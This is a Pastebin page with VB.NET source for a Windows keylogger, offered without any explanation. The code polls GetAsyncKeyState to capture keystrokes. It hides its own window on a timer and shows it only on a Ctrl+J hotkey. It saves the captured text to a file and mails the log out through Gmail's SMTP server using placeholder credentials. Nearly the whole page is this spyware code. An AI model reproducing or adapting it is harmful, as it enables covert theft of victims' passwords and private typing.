Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Strict On
- Imports System.Net.Mail
- Imports System.IO
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
- Private Sub PressedKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PressedKeys.Tick
- Dim result As Integer
- Dim key As String
- Dim i As Integer
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- key = Chr(i)
- If i = 13 Then key = vbNewLine
- Exit For
- End If
- Next i
- If key <> Nothing Then
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- TextBoxForLog.Text &= key
- Else
- TextBoxForLog.Text &= key.ToLower
- End If
- End If
- If My.Computer.Keyboard.CtrlKeyDown AndAlso key = "j" Then
- Me.Show()
- End If
- End Sub
- Private Sub AutoHidder_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AutoHider.Tick
- Me.Hide()
- End Sub
- Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
- TextBoxForLog.Text &= vbNewLine & "Closed At : " & Now & vbNewLine
- SaveLog_Tick()
- SendLog_Tick()
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- TextBoxForLog.Text = "Started At : " & Now & vbNewLine
- End Sub
- Private Sub SaveLog_Tick() Handles SaveLog.Tick
- My.Computer.FileSystem.WriteAllText("path", TextBoxForLog.Text, True)
- End Sub
- Private Sub SendLog_Tick() Handles SendLog.Tick
- Dim MyMailMessage As New MailMessage()
- MyMailMessage.From = New MailAddress("gmail")
- MyMailMessage.To.Add("to email")
- MyMailMessage.Subject = ("Subject")
- MyMailMessage.Body = (Body)
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("gmail", "password")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement